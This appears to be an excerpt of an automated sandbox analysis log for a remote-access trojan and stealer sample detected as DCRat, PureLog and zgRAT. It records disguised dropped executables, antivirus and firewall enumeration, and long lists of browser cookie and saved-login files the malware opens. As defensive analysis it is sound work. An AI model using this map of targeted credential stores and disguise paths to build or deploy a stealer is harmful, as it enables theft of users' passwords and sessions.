Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54AC460 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00007FF7E54AC460

Source: C:\Users\user\AppData\Local\Temp\5GG.exe

Code function: 1_2_00007FF7E54C6370 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

1_2_00007FF7E54C6370

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 2_2_0087B146 GetVersionExW,

2_2_0087B146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000024.00000002.2889594930.0000000003A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.2889594930.0000000003662000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1826950535.00000000127A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperServer.exe PID: 7528, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: TextInputHost.exe PID: 7276, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.hyperServer.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.1664295884.0000000005308000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.1726122592.0000000000092000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1663486823.00000000051FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\StartMenuExperienceHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Offline\cmd.exe, type: DROPPED
Source: Yara match	File source: C:\MsComponentSvc\hyperServer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.hyperServer.exe.90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.524d6f5.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.3.DCRatBuild.exe.53566f5.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\StartMenuExperienceHost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Offline\cmd.exe, type: DROPPED
Source: Yara match	File source: C:\MsComponentSvc\hyperServer.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
